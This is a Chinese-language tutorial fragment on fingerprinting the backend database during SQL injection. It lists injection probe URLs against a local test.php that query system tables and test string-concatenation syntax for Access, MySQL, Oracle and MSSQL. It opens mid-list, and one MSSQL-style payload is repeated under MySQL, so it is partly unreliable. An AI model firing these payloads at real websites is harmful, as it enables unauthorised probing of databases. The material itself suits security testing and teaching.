sql注入过程中后台数据库类型的三种判断方式

    2、access数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

    3、mysql数据库(mysql版本在5.0以上)

      http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

    4、oracle数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

三、通过各数据库特有的连接符判断数据库类型：

    1、mssql数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘ + ‘1‘ = ‘11‘

    2、mysql数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘ + ‘1‘ = ‘11‘

     http://127.0.0.1/test.php?id=1 and CONCAT(‘1‘,‘1‘)=‘11‘

    3、oracle数据库

     http://127.0.0.1/test.php?id=1 and ‘1‘||‘1‘=‘11‘

     http://127.0.0.1/test.php?id=1 and CONCAT(‘1‘,‘1‘)=‘11‘

sql注入过程中后台数据库类型的三种判断方式

标签：sql注入   安全测试   数据库类型判断